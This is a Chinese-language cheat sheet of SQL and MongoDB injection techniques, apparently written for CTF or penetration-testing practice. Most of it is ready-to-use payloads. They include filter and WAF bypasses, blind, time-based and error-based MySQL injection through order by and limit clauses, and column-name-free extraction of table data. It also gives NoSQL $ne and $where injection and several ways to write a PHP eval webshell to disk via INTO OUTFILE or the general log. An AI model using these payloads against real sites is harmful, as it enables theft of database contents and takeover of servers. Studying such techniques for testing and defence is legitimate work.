常用的绕过手段
字符型过滤单引号
- 字符串转换函数绕过
char() |
- 十六进制数绕过
过滤=
between, like, <, >,regexp 绕过
1 union select 1, table_name from information_schema.tables where table_name = 'users' |
注释符
# %23 |
过滤逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号
select substr(database() from 1 for 1); |
使用join(连接表的查询结果)
union select 1,2 #等价于 |
使用like
select ascii(mid(user(),1,1))=80 #等价于 |
对于 limit
可以使用 offset绕过
select * from news limit 0,1 |
<,>被过滤
- greatest函数绕过
greatest(a,b),返回a和b中较大的那个数
# 猜解user()第一个字符的ascii码是否小于等于150时 |
过滤and,or可以使用&&和||
单引号逃逸
- \
# 用户名为username |
注释符
# %23 |
过滤select
利用数值计算盲注或时间盲注
|| ascii(mid(user(),1,1) ) = 97 %23 |
绕过 information 被过滤
- MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了
innodb_table_stats
和innodb_index_stats
这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。
如果waf掉了information
我们可以利用这两个表注入数据库名和表名。 - 参考 聊一聊bypass information_schema
MySQl5.7的新特性
- sys.schema_auto_increment_columns 该视图的作用简单来说就是用来对表自增ID的监控。
- schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
盲注
延时注入
数据库如下
mysql> select * from user; |
测试
mysql> select password from user where id=1 and (select hex(substr(database(), 1,1)) > 20) and sleep(2); |
我们这么来理解多语句的and
数据库会每次取出一行数据,然后做判断,首先 id=1
成立,然后 判断(select hex(substr(database(), 1,1)) > 20)
如果这个成立,就会执行接下来的 sleep(2)
如果不成立,那么直接over了。不会有延时
order by 注入
order by 后的数字可以作为一个注入点
报错注入
mysql> select * from flag order by 1 and (updatexml(1,concat(0x7e,(select user())),0)); |
时间盲注
select * from flag order by 1 and if(1=1,sleep(3), NULL); |
limit 注入
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
报错注入
mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
时间注入
select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue (rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1); |
无列名注入
过滤了空格和or,并且没办法绕过过滤or
同时不知道列名
payload:
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
这样在不知道列名的情况下,就可以给每一列取一个别名了
mysql> select 1,2,3 union select * from user; |
查询
mysql> select group_concat(b) from (select 1,2,3 as b union select * from user)a; |
查询两列数据
select concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a; |
查询一行数据
select `2` from (select 1,2,3 union select * from users)a limit 1,1; |
使用join进行无列名注入
这样就能依次把列名都爆出来了
mysql> select * from user; |
nosql注入
以mongodb为例
db.collection.find(query, projection) |
第一种是按照语言的分类:php数组注入、js注入、mongo shell拼接注入。
第二种是按照攻击机制分类:永真式、联合查询、Js注入、盲注等。
PHP永真式注入
$data = array( |
但是由于php松散结构的特性,如果我们_GET传入的是数组那么,会自动被解析成字典。比如我们输入?username[$ne]=1&password[$ne]=1
, 就会被解析成:
{ |
这样就能查询到所有用户信息
Js注入
$collection = $db->users; |
$where
操作符表示执行其中的Js内容,返回True的话返回所有内容。
我们可以看到我们可以注入使得Js代码提前返回True
payload:?username=qwer&password= 1';return true;var qwer='1
MySQL利用方式
写shell
联合查询写shell
UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23 |
非联合查询写shell
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23 |
使用日志写shell
set global general_log = on; |
延时注入写shell
select sleep(2),'<?php @eval($_POST[cmd]); ?>' into outfile 'd:\\success.txt'; |